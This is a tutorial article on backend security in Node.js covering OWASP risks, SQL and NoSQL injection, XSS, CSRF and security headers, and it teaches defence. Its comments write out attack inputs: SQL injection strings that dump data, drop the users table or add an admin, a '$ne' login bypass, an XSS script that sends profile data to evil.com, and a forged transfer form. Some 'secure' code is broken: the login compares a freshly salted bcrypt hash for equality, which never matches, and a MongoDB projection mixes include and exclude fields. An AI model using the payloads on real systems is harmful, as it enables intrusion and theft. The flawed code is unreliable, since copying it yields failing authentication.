Backend Security Fundamentals - 1/3

From Performance to Protection

You’ve mastered database scaling, implemented intelligent caching systems, built event-driven architectures, and created applications that handle millions of users with lightning-fast performance. Your backend systems can scale infinitely and process complex data orchestration with ease. But here’s the harsh reality that every developer eventually faces: no matter how perfectly architected and performant your application is, a single security vulnerability can destroy everything you’ve built in minutes.

The security wake-up call that changes everything:

// Your beautifully crafted, perfectly scaled application
const getUserProfile = async (req, res) => {
  const userId = req.params.id; // Looks innocent enough, right?

  // Optimized query with caching, read replicas, the works
  const user = await db.executeRead(
    `SELECT id, username, email, profile_data, created_at 
     FROM users WHERE id = '${userId}'` // 💣 SQL injection vulnerability
  );

  if (user) {
    res.json({ success: true, user }); // 💣 Potential data exposure
  } else {
    res.status(404).json({ error: "User not found" });
  }
};

// Attacker input: /users/1' OR '1'='1' --
// Query becomes: SELECT * FROM users WHERE id = '1' OR '1'='1' --'
// Result: Every user in your database exposed
// Scale doesn't matter when security fails

The uncomfortable truth: A single malicious request can bypass all your scaling efforts and compromise millions of user records. Security isn’t an add-on feature you implement later—it’s the foundation that determines whether your application protects or betrays user trust.

Real-world security breach consequences:

// What happens when security fails:
const securityBreach = {
  immediateImpact: {
    dataExposed: "2.5 million user records",
    downtime: "72 hours",
    emergencyResponse: "$500,000",
  },

  longTermDamage: {
    userTrustLoss: "40% customer churn",
    legalFines: "$2.8 million (GDPR + state regulations)",
    reputationDamage: "Brand permanently associated with 'data breach'",
    engineeringCosts: "6 months rebuilding security infrastructure",
    competitiveLoss: "Users migrate to competitors",
  },

  // Your beautiful scaling architecture becomes irrelevant
  // when nobody trusts your application with their data
};

Backend security mastery requires understanding:

  • OWASP Top 10 vulnerabilities and how attackers exploit common weaknesses
  • Input validation and sanitization that stops attacks before they reach your database
  • XSS and CSRF protection that prevents client-side attacks from compromising sessions
  • Secure coding practices that make vulnerabilities impossible by design
  • HTTPS and security headers that protect data in transit and browser security

This article begins your security education by covering the most critical vulnerabilities that attack backend systems. You’ll learn to identify attack vectors, implement bulletproof defenses, and build applications that protect user data as fiercely as they optimize performance.


The OWASP Top 10: Your Security Threat Landscape

Understanding Modern Attack Vectors

The vulnerability hierarchy that attackers exploit:

// The OWASP Top 10 (2023) - ordered by risk and prevalence
const owaspTop10 = {
  1: {
    name: "Broken Access Control",
    description: "Users can act outside of their intended permissions",
    examples: [
      "Accessing other users' data by changing URL parameters",
      "Elevation of privilege (normal user becomes admin)",
      "Bypassing authentication entirely",
      "CORS misconfiguration allowing unauthorized domains",
    ],
  },

  2: {
    name: "Cryptographic Failures",
    description:
      "Failures related to cryptography leading to sensitive data exposure",
    examples: [
      "Passwords stored in plaintext",
      "Weak encryption algorithms",
      "Missing encryption for sensitive data",
      "Improper certificate validation",
    ],
  },

  3: {
    name: "Injection",
    description:
      "Hostile data is sent to an interpreter as part of a command or query",
    examples: [
      "SQL injection",
      "NoSQL injection",
      "Command injection",
      "LDAP injection",
    ],
  },

  4: {
    name: "Insecure Design",
    description: "Risks related to design and architectural flaws",
    examples: [
      "Missing or ineffective control design",
      "Failure to use established secure design patterns",
      "Lack of security requirements analysis",
    ],
  },

  5: {
    name: "Security Misconfiguration",
    description:
      "Missing appropriate security hardening or improperly configured permissions",
    examples: [
      "Default credentials still enabled",
      "Error messages revealing sensitive information",
      "Missing security headers",
      "Outdated software components",
    ],
  },

  // ... continues with vulnerabilities 6-10
};

Injection Attacks: The Database Destroyer

SQL Injection Prevention

The attack that can destroy everything:

// ❌ Vulnerable code that invites disaster
const getUserOrders = async (req, res) => {
  const userId = req.params.userId;
  const status = req.query.status;

  // Direct string concatenation = invitation for attack
  const query = `
    SELECT o.id, o.total_amount, o.status, o.created_at,
           u.email, u.full_name
    FROM orders o 
    JOIN users u ON o.user_id = u.id
    WHERE o.user_id = ${userId}
    AND o.status = '${status}'
  `;

  const orders = await db.query(query);
  res.json({ orders });
};

// Attacker payload examples:
// GET /users/123/orders?status=pending' OR '1'='1' --
// Result: All orders from all users exposed
//
// GET /users/123/orders?status='; DROP TABLE users; --
// Result: Your users table deleted
//
// GET /users/123/orders?status='; INSERT INTO admin_users (username, password) VALUES ('hacker', 'pwned'); --
// Result: Attacker creates admin account

Professional parameterized queries:

// ✅ Bulletproof parameterized queries
const OrderService = {
  async getUserOrders(userId, status, options = {}) {
    // Input validation first
    const validatedInput = this.validateOrdersInput(userId, status, options);

    try {
      // Parameterized query - values are never interpreted as SQL
      const query = `
        SELECT 
          o.id,
          o.total_amount,
          o.status,
          o.created_at,
          o.shipping_address,
          u.email,
          u.full_name,
          COUNT(*) OVER() as total_count
        FROM orders o 
        JOIN users u ON o.user_id = u.id
        WHERE o.user_id = $1
          AND ($2::text IS NULL OR o.status = $2)
          AND o.created_at >= $3
          AND o.created_at <= $4
        ORDER BY o.created_at DESC
        LIMIT $5 OFFSET $6
      `;

      const result = await db.executeRead(query, [
        validatedInput.userId,
        validatedInput.status,
        validatedInput.startDate,
        validatedInput.endDate,
        validatedInput.limit,
        validatedInput.offset,
      ]);

      return {
        orders: result.rows,
        pagination: {
          total: result.rows[0]?.total_count || 0,
          page: Math.floor(validatedInput.offset / validatedInput.limit) + 1,
          limit: validatedInput.limit,
        },
      };
    } catch (error) {
      // Don't expose database errors to clients
      console.error("Database error in getUserOrders:", error);
      throw new Error("Failed to fetch orders");
    }
  },

  validateOrdersInput(userId, status, options) {
    const errors = [];

    // Validate user ID
    if (!userId || !Number.isInteger(Number(userId)) || Number(userId) <= 0) {
      errors.push("Invalid user ID");
    }

    // Validate status
    const validStatuses = [
      "pending",
      "processing",
      "shipped",
      "delivered",
      "cancelled",
    ];
    if (status && !validStatuses.includes(status)) {
      errors.push("Invalid order status");
    }

    // Validate pagination
    const page = Math.max(1, parseInt(options.page) || 1);
    const limit = Math.min(100, Math.max(1, parseInt(options.limit) || 20));
    const offset = (page - 1) * limit;

    // Validate date range
    const startDate = options.startDate
      ? new Date(options.startDate)
      : new Date("2020-01-01");
    const endDate = options.endDate ? new Date(options.endDate) : new Date();

    if (startDate > endDate) {
      errors.push("Start date cannot be after end date");
    }

    if (errors.length > 0) {
      throw new ValidationError("Invalid input parameters", errors);
    }

    return {
      userId: parseInt(userId),
      status: status || null,
      startDate,
      endDate,
      limit,
      offset,
    };
  },
};

// Usage in controller
app.get("/users/:userId/orders", authenticateUser, async (req, res) => {
  try {
    // Ensure user can only access their own orders
    if (req.user.id !== parseInt(req.params.userId)) {
      return res.status(403).json({
        error: "Access denied",
        message: "You can only access your own orders",
      });
    }

    const result = await OrderService.getUserOrders(
      req.params.userId,
      req.query.status,
      {
        page: req.query.page,
        limit: req.query.limit,
        startDate: req.query.startDate,
        endDate: req.query.endDate,
      }
    );

    res.json({
      success: true,
      data: result,
    });
  } catch (error) {
    if (error instanceof ValidationError) {
      return res.status(400).json({
        error: "Validation failed",
        details: error.details,
      });
    }

    console.error("Orders endpoint error:", error);
    res.status(500).json({
      error: "Internal server error",
      message: "Unable to fetch orders at this time",
    });
  }
});

NoSQL Injection Prevention

Modern databases, same old problems:

// ❌ MongoDB injection vulnerability
const getUserByCredentials = async (req, res) => {
  const { username, password } = req.body;

  // Dangerous direct object injection
  const user = await db.users.findOne({
    username: username,
    password: password, // What if password is { $ne: null } ?
  });

  if (user) {
    res.json({ success: true, user });
  } else {
    res.status(401).json({ error: "Invalid credentials" });
  }
};

// Attacker payload:
// POST /login
// {
//   "username": "admin",
//   "password": { "$ne": null }
// }
// Result: Bypasses password check for any user

Secure NoSQL query handling:

// ✅ Secure NoSQL operations with validation
class SecureUserService {
  async authenticateUser(credentials) {
    // Strict input validation
    const validatedCredentials = this.validateCredentials(credentials);

    try {
      // Hash the provided password
      const hashedPassword = await this.hashPassword(
        validatedCredentials.password
      );

      // Safe query with explicit field matching
      const user = await db.users.findOne(
        {
          username: { $eq: validatedCredentials.username },
          password: { $eq: hashedPassword },
          isActive: { $eq: true },
          // Prevent timing attacks by always checking the same fields
          $expr: { $eq: [{ $type: "$username" }, "string"] },
        },
        {
          // Limit returned fields - never return sensitive data
          projection: {
            _id: 1,
            username: 1,
            email: 1,
            role: 1,
            createdAt: 1,
            lastLoginAt: 1,
            // Explicitly exclude sensitive fields
            password: 0,
            passwordResetToken: 0,
            twoFactorSecret: 0,
          },
        }
      );

      if (user) {
        // Update last login time
        await db.users.updateOne(
          { _id: user._id },
          {
            $set: { lastLoginAt: new Date() },
            $inc: { loginCount: 1 },
          }
        );

        return user;
      }

      return null;
    } catch (error) {
      console.error("Authentication error:", error);
      throw new Error("Authentication failed");
    }
  }

  validateCredentials(credentials) {
    if (!credentials || typeof credentials !== "object") {
      throw new ValidationError("Invalid credentials format");
    }

    const { username, password } = credentials;

    // Ensure values are strings (prevent object injection)
    if (typeof username !== "string" || typeof password !== "string") {
      throw new ValidationError("Username and password must be strings");
    }

    // Length validation
    if (username.length < 3 || username.length > 50) {
      throw new ValidationError("Username must be 3-50 characters");
    }

    if (password.length < 8 || password.length > 128) {
      throw new ValidationError("Password must be 8-128 characters");
    }

    // Character validation (prevent injection attempts)
    const usernameRegex = /^[a-zA-Z0-9_.-]+$/;
    if (!usernameRegex.test(username)) {
      throw new ValidationError("Username contains invalid characters");
    }

    return { username, password };
  }

  async hashPassword(password) {
    const bcrypt = require("bcrypt");
    const saltRounds = 12;
    return await bcrypt.hash(password, saltRounds);
  }
}

Cross-Site Scripting (XSS): The Client-Side Attacker

Understanding XSS Attack Vectors

How malicious scripts compromise users:

// ❌ Vulnerable comment system
const createComment = async (req, res) => {
  const { postId, content } = req.body;
  const userId = req.user.id;

  // Direct storage without sanitization
  const comment = await db.comments.create({
    postId,
    userId,
    content, // Dangerous: could contain <script> tags
    createdAt: new Date(),
  });

  res.json({ success: true, comment });
};

const getComments = async (req, res) => {
  const { postId } = req.params;

  const comments = await db.comments.find({ postId });

  // Dangerous: sending raw content to frontend
  res.json({ comments });
};

// Frontend renders directly (vulnerable):
// comments.forEach(comment => {
//   div.innerHTML = comment.content; // XSS vulnerability
// });

// Attacker comment content:
// "<script>fetch('/api/user/profile').then(r=>r.json()).then(data=>fetch('https://evil.com/steal', {method:'POST', body:JSON.stringify(data)}))</script>"
// Result: Steals user data when comment is viewed

Professional XSS prevention:

// ✅ Comprehensive XSS protection
const DOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const validator = require("validator");

class SecureContentService {
  constructor() {
    // Initialize DOMPurify for server-side sanitization
    const window = new JSDOM("").window;
    this.purify = DOMPurify(window);

    // Configure allowed tags and attributes
    this.sanitizeConfig = {
      ALLOWED_TAGS: [
        "p",
        "br",
        "strong",
        "em",
        "u",
        "ol",
        "ul",
        "li",
        "blockquote",
        "code",
        "pre",
        "h1",
        "h2",
        "h3",
        "h4",
        "h5",
        "h6",
      ],
      ALLOWED_ATTR: ["class"],
      KEEP_CONTENT: true,
      RETURN_DOM: false,
      RETURN_DOM_FRAGMENT: false,
      RETURN_DOM_IMPORT: false,
    };
  }

  async createComment(commentData) {
    // Multi-layer validation and sanitization
    const validatedData = this.validateCommentInput(commentData);

    try {
      const sanitizedContent = this.sanitizeContent(validatedData.content);

      const comment = await db.comments.create({
        postId: validatedData.postId,
        userId: validatedData.userId,
        content: sanitizedContent,
        originalContentHash: this.hashContent(validatedData.content), // For integrity checking
        createdAt: new Date(),
        updatedAt: new Date(),
        isEdited: false,
      });

      // Log content creation for security monitoring
      this.logContentCreation(comment, validatedData.userId);

      return comment;
    } catch (error) {
      console.error("Comment creation error:", error);
      throw new Error("Failed to create comment");
    }
  }

  validateCommentInput(data) {
    if (!data || typeof data !== "object") {
      throw new ValidationError("Invalid comment data");
    }

    const { postId, userId, content } = data;

    // Validate post ID
    if (!postId || !validator.isMongoId(postId)) {
      throw new ValidationError("Invalid post ID");
    }

    // Validate user ID
    if (!userId || !validator.isMongoId(userId)) {
      throw new ValidationError("Invalid user ID");
    }

    // Validate content
    if (typeof content !== "string") {
      throw new ValidationError("Content must be a string");
    }

    if (content.trim().length === 0) {
      throw new ValidationError("Content cannot be empty");
    }

    if (content.length > 10000) {
      throw new ValidationError("Content too long (max 10,000 characters)");
    }

    // Check for suspicious patterns
    this.detectMaliciousContent(content);

    return { postId, userId, content: content.trim() };
  }

  sanitizeContent(content) {
    // Step 1: HTML encode to prevent script execution
    let sanitized = validator.escape(content);

    // Step 2: Allow safe HTML tags through DOMPurify
    sanitized = this.purify.sanitize(sanitized, this.sanitizeConfig);

    // Step 3: Additional custom sanitization
    sanitized = this.removeJavascriptProtocols(sanitized);
    sanitized = this.removeDataUrls(sanitized);

    return sanitized;
  }

  detectMaliciousContent(content) {
    // Pattern detection for common XSS attempts
    const dangerousPatterns = [
      /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
      /javascript:/gi,
      /on\w+\s*=/gi,
      /<iframe\b/gi,
      /<object\b/gi,
      /<embed\b/gi,
      /data:text\/html/gi,
      /vbscript:/gi,
    ];

    for (const pattern of dangerousPatterns) {
      if (pattern.test(content)) {
        // Log potential attack attempt
        console.warn("Malicious content detected:", {
          pattern: pattern.source,
          content: content.substring(0, 200),
        });

        throw new SecurityError("Content contains potentially malicious code");
      }
    }
  }

  removeJavascriptProtocols(content) {
    return content.replace(/javascript:/gi, "");
  }

  removeDataUrls(content) {
    return content.replace(/data:[^;]*;base64,/gi, "");
  }

  hashContent(content) {
    const crypto = require("crypto");
    return crypto.createHash("sha256").update(content).digest("hex");
  }

  async getComments(postId) {
    try {
      const comments = await db.comments.find(
        { postId, isDeleted: { $ne: true } },
        {
          sort: { createdAt: 1 },
          // Don't return original content hash or other internal fields
          projection: {
            originalContentHash: 0,
            __v: 0,
          },
        }
      );

      // Additional server-side sanitization before sending to client
      return comments.map((comment) => ({
        ...comment,
        content: this.sanitizeForOutput(comment.content),
      }));
    } catch (error) {
      console.error("Error fetching comments:", error);
      throw new Error("Failed to fetch comments");
    }
  }

  sanitizeForOutput(content) {
    // Final sanitization layer before sending to client
    return this.purify.sanitize(content, {
      ...this.sanitizeConfig,
      // Even more restrictive for output
      ALLOWED_TAGS: ["p", "br", "strong", "em", "code"],
    });
  }

  logContentCreation(comment, userId) {
    // Security event logging
    const logEntry = {
      timestamp: new Date(),
      event: "content_created",
      userId,
      commentId: comment._id,
      contentLength: comment.content.length,
      ipAddress: this.getClientIP(), // Should be passed from request
      userAgent: this.getUserAgent(), // Should be passed from request
    };

    // Send to security monitoring system
    this.sendToSecurityLog(logEntry);
  }
}

// Usage in controller with additional security headers
app.post(
  "/posts/:postId/comments",
  authenticateUser,
  rateLimitComments, // Rate limiting middleware
  async (req, res) => {
    try {
      // Set security headers
      res.set({
        "X-Content-Type-Options": "nosniff",
        "X-Frame-Options": "DENY",
        "X-XSS-Protection": "1; mode=block",
        "Content-Security-Policy":
          "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'",
      });

      const contentService = new SecureContentService();
      const comment = await contentService.createComment({
        postId: req.params.postId,
        userId: req.user.id,
        content: req.body.content,
      });

      res.status(201).json({
        success: true,
        comment: {
          id: comment._id,
          content: comment.content,
          createdAt: comment.createdAt,
          userId: comment.userId,
        },
      });
    } catch (error) {
      if (error instanceof ValidationError) {
        return res.status(400).json({
          error: "Invalid input",
          details: error.message,
        });
      }

      if (error instanceof SecurityError) {
        return res.status(400).json({
          error: "Content rejected",
          message: "Your content contains elements that are not allowed",
        });
      }

      console.error("Comment creation failed:", error);
      res.status(500).json({
        error: "Failed to create comment",
      });
    }
  }
);

Cross-Site Request Forgery (CSRF): The Session Hijacker

CSRF Attack Prevention

Understanding session-based attacks:

// ❌ Vulnerable endpoint without CSRF protection
app.post("/transfer-money", authenticateUser, async (req, res) => {
  const { toAccount, amount } = req.body;
  const fromUserId = req.user.id;

  // This looks secure - user is authenticated
  // But it's vulnerable to CSRF attacks
  const transfer = await bankingService.transferMoney({
    fromUserId,
    toAccount,
    amount,
  });

  res.json({ success: true, transfer });
});

// Attacker creates malicious website with hidden form:
// <form action="https://yourbank.com/transfer-money" method="POST">
//   <input type="hidden" name="toAccount" value="attacker-account">
//   <input type="hidden" name="amount" value="10000">
//   <input type="submit" value="Click for free gift!">
// </form>
// When logged-in user clicks, money transfers to attacker

Professional CSRF protection:

// ✅ Comprehensive CSRF protection system
const crypto = require("crypto");

class CSRFProtection {
  constructor() {
    this.tokenStore = new Map(); // In production, use Redis
    this.tokenExpiry = 24 * 60 * 60 * 1000; // 24 hours
    this.secretKey = process.env.CSRF_SECRET_KEY;

    if (!this.secretKey) {
      throw new Error("CSRF_SECRET_KEY environment variable is required");
    }
  }

  generateToken(sessionId) {
    const timestamp = Date.now();
    const randomBytes = crypto.randomBytes(32).toString("hex");
    const payload = `${sessionId}:${timestamp}:${randomBytes}`;

    // Create HMAC signature
    const signature = crypto
      .createHmac("sha256", this.secretKey)
      .update(payload)
      .digest("hex");

    const token = `${payload}:${signature}`;

    // Store token with expiry
    this.tokenStore.set(token, {
      sessionId,
      createdAt: timestamp,
      expiresAt: timestamp + this.tokenExpiry,
    });

    // Clean up expired tokens periodically
    this.cleanupExpiredTokens();

    return token;
  }

  validateToken(token, sessionId) {
    if (!token || typeof token !== "string") {
      return false;
    }

    const parts = token.split(":");
    if (parts.length !== 4) {
      return false;
    }

    const [tokenSessionId, timestamp, randomBytes, signature] = parts;

    // Verify session match
    if (tokenSessionId !== sessionId) {
      return false;
    }

    // Verify signature
    const payload = `${tokenSessionId}:${timestamp}:${randomBytes}`;
    const expectedSignature = crypto
      .createHmac("sha256", this.secretKey)
      .update(payload)
      .digest("hex");

    if (
      !crypto.timingSafeEqual(
        Buffer.from(signature, "hex"),
        Buffer.from(expectedSignature, "hex")
      )
    ) {
      return false;
    }

    // Check if token exists and is not expired
    const storedToken = this.tokenStore.get(token);
    if (!storedToken || storedToken.expiresAt < Date.now()) {
      this.tokenStore.delete(token);
      return false;
    }

    return true;
  }

  cleanupExpiredTokens() {
    const now = Date.now();
    for (const [token, data] of this.tokenStore.entries()) {
      if (data.expiresAt < now) {
        this.tokenStore.delete(token);
      }
    }
  }

  // Middleware to generate and attach CSRF token
  attachToken(req, res, next) {
    if (!req.session || !req.session.id) {
      return res.status(401).json({ error: "Session required" });
    }

    const csrfToken = this.generateToken(req.session.id);
    res.locals.csrfToken = csrfToken;

    // Set token in response header for SPA applications
    res.set("X-CSRF-Token", csrfToken);

    next();
  }

  // Middleware to validate CSRF token
  validateRequest(req, res, next) {
    // Skip validation for GET, HEAD, OPTIONS (safe methods)
    if (["GET", "HEAD", "OPTIONS"].includes(req.method)) {
      return next();
    }

    if (!req.session || !req.session.id) {
      return res.status(401).json({ error: "Session required" });
    }

    // Get token from multiple possible locations
    const token =
      req.headers["x-csrf-token"] || req.body._csrf || req.query._csrf;

    if (!this.validateToken(token, req.session.id)) {
      return res.status(403).json({
        error: "Invalid CSRF token",
        message: "This request appears to be forged",
      });
    }

    next();
  }
}

// Initialize CSRF protection
const csrfProtection = new CSRFProtection();

// Secure money transfer endpoint
app.post(
  "/transfer-money",
  authenticateUser,
  csrfProtection.validateRequest.bind(csrfProtection),
  rateLimitFinancialOperations,
  async (req, res) => {
    try {
      const { toAccount, amount, description } = req.body;
      const fromUserId = req.user.id;

      // Additional security validations
      const validatedTransfer = await validateTransferRequest({
        fromUserId,
        toAccount,
        amount,
        description,
        userAgent: req.headers["user-agent"],
        ipAddress: req.ip,
      });

      // Two-factor authentication for large amounts
      if (amount > 5000) {
        const tfaToken = req.headers["x-2fa-token"];
        if (!(await twoFactorAuth.verify(fromUserId, tfaToken))) {
          return res.status(403).json({
            error: "Two-factor authentication required",
            message: "Large transfers require 2FA verification",
          });
        }
      }

      const transfer = await bankingService.transferMoney(validatedTransfer);

      // Log security event
      securityLogger.logFinancialTransaction({
        userId: fromUserId,
        type: "money_transfer",
        amount,
        toAccount,
        ipAddress: req.ip,
        userAgent: req.headers["user-agent"],
        timestamp: new Date(),
      });

      res.json({
        success: true,
        transfer: {
          id: transfer.id,
          amount: transfer.amount,
          status: transfer.status,
          createdAt: transfer.createdAt,
        },
      });
    } catch (error) {
      if (error instanceof ValidationError) {
        return res.status(400).json({
          error: "Invalid transfer request",
          details: error.message,
        });
      }

      console.error("Transfer failed:", error);
      res.status(500).json({
        error: "Transfer failed",
        message: "Unable to process transfer at this time",
      });
    }
  }
);

// API endpoint to get CSRF token
app.get(
  "/csrf-token",
  authenticateUser,
  csrfProtection.attachToken.bind(csrfProtection),
  (req, res) => {
    res.json({ csrfToken: res.locals.csrfToken });
  }
);

Security Headers: The First Line of Defense

Implementing Comprehensive Security Headers

Professional security header configuration:

// ✅ Complete security headers implementation
class SecurityHeaders {
  static configure(app) {
    // Apply security headers to all responses
    app.use((req, res, next) => {
      // Prevent clickjacking attacks
      res.set("X-Frame-Options", "DENY");

      // Prevent MIME type sniffing
      res.set("X-Content-Type-Options", "nosniff");

      // Enable XSS filtering (legacy, but still useful)
      res.set("X-XSS-Protection", "1; mode=block");

      // Control referrer information
      res.set("Referrer-Policy", "strict-origin-when-cross-origin");

      // Prevent Adobe Flash and PDF from loading
      res.set("X-Permitted-Cross-Domain-Policies", "none");

      // Remove server signature
      res.removeHeader("X-Powered-By");

      next();
    });

    // Content Security Policy
    this.configureCSP(app);

    // HTTPS Security
    this.configureHTTPS(app);

    // CORS Security
    this.configureCORS(app);
  }

  static configureCSP(app) {
    app.use((req, res, next) => {
      const cspPolicy = [
        "default-src 'self'",
        "script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com",
        "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
        "font-src 'self' https://fonts.gstatic.com",
        "img-src 'self' data: https: blob:",
        "media-src 'self' blob:",
        "object-src 'none'",
        "frame-src 'none'",
        "worker-src 'self' blob:",
        "child-src 'self'",
        "form-action 'self'",
        "base-uri 'self'",
        "manifest-src 'self'",
        "connect-src 'self' https://api.yourdomain.com",
        "upgrade-insecure-requests",
      ].join("; ");

      res.set("Content-Security-Policy", cspPolicy);

      // Also set report-only header for testing
      if (process.env.NODE_ENV === "development") {
        res.set("Content-Security-Policy-Report-Only", cspPolicy);
      }

      next();
    });
  }

  static configureHTTPS(app) {
    app.use((req, res, next) => {
      if (process.env.NODE_ENV === "production") {
        // HTTP Strict Transport Security
        res.set(
          "Strict-Transport-Security",
          "max-age=31536000; includeSubDomains; preload"
        );

        // Expect Certificate Transparency
        res.set("Expect-CT", "max-age=86400, enforce");

        // Redirect HTTP to HTTPS in production
        if (!req.secure && req.get("X-Forwarded-Proto") !== "https") {
          return res.redirect(301, `https://${req.get("Host")}${req.url}`);
        }
      }

      next();
    });
  }

  static configureCORS(app) {
    const cors = require("cors");

    const corsOptions = {
      origin: (origin, callback) => {
        // Define allowed origins
        const allowedOrigins = [
          "https://yourdomain.com",
          "https://www.yourdomain.com",
          "https://app.yourdomain.com",
        ];

        // Allow requests with no origin (mobile apps, Postman, etc.)
        if (!origin) return callback(null, true);

        if (process.env.NODE_ENV === "development") {
          // Allow localhost in development
          if (origin.includes("localhost") || origin.includes("127.0.0.1")) {
            return callback(null, true);
          }
        }

        if (allowedOrigins.includes(origin)) {
          callback(null, true);
        } else {
          console.warn(`CORS blocked origin: ${origin}`);
          callback(new Error("CORS policy violation"), false);
        }
      },

      credentials: true, // Allow cookies
      methods: ["GET", "POST", "PUT", "DELETE", "OPTIONS"],
      allowedHeaders: [
        "Content-Type",
        "Authorization",
        "X-CSRF-Token",
        "X-2FA-Token",
        "X-Requested-With",
      ],
      exposedHeaders: [
        "X-CSRF-Token",
        "X-Rate-Limit-Remaining",
        "X-Rate-Limit-Reset",
      ],
      maxAge: 86400, // 24 hours
    };

    app.use(cors(corsOptions));
  }
}

// Apply security headers to your Express app
SecurityHeaders.configure(app);

Key Takeaways

Backend security isn’t optional—it’s the foundation that determines whether your application protects or betrays user trust. Understanding the OWASP Top 10, preventing injection attacks, stopping XSS and CSRF vulnerabilities, and implementing security headers creates the defensive foundation every application needs.

The security mindset you must adopt:

  • Trust nothing: Every input is potentially malicious until proven safe through validation and sanitization
  • Defense in depth: Multiple security layers protect against single point failures
  • Fail securely: When security checks fail, deny access rather than allowing potentially dangerous operations
  • Log everything: Security events must be monitored and analyzed for attack detection

What distinguishes secure applications:

  • Parameterized queries that make SQL injection impossible by design
  • Input validation and sanitization that neutralizes malicious content before it reaches your system
  • CSRF protection that prevents session-based attacks from compromising user accounts
  • Security headers that instruct browsers to enforce additional protection layers

What’s Next

This article covered the fundamental vulnerabilities that attack backend systems. Next, we’ll dive deeper into cryptographic security with password hashing algorithms, encryption strategies, SSL/TLS implementation, and security auditing practices that protect sensitive data both at rest and in transit.

Security is like compound interest—every protection layer you implement makes attacks exponentially harder. You’re building systems that don’t just perform well—they actively defend against those who would exploit them.